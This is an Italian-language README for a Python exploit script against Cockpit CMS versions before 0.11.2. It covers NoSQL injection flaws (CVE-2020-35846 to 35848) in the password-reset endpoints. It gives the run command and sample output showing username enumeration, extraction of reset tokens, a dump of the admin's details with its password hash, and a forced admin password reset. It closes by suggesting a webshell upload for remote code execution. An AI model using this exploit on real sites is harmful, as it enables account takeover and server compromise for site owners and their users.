
CVE-2020-35847, CVE-2020-35848 : Compromissione dell'account
Cockpit CMS prima della versione 0.11.2 è vulnerabile a una vulnerabilità di iniezione NoSQL in /auth/resetpassword e /auth/newpassword che consente l'estrazione dei token di reset della password, permettendo l'enumerazione dei dettagli utente e il reset della password.
Leggi di più - https://swarm.ptsecurity.com/rce-cockpit-cms/
Questo script Python enumera gli utenti sul sistema e reimposta la password.
python3 exploit.py -u http://cockpit-site-url
Lo script prima enumera gli utenti sul sistema.
[+] http://cockpit-site-url: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) :
[+] Users Found : ['admin', 'user1', 'user2', 'user3']
Successivamente puoi scegliere su quale utente ottenere maggiori informazioni. Questo genera anche i token di reset per quell'utente, un requisito fondamentale per il reset della password.
[-] Get user details For : admin
[+] Finding Password reset tokens
Tokens Found : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] Obtaining user information
-----------------Details--------------------
[*] user : admin
[*] name : Admin
[*] email : [email protected]
[*] active : True
[*] group : admin
[*] password : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
[*] i18n : en
[*] _created : 1621655201
[*] _modified : 1621655201
[*] _id : 60a87ea165343539ee000300
[*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
[*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
Infine puoi scegliere di reimpostare la password dell'utente.
[+] Do you want to reset the passowrd for admin? (Y/n): y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is:
Username : admin
Password : new_random_password
Puoi quindi scegliere di caricare una webshell nel componente /finder per ottenere RCE.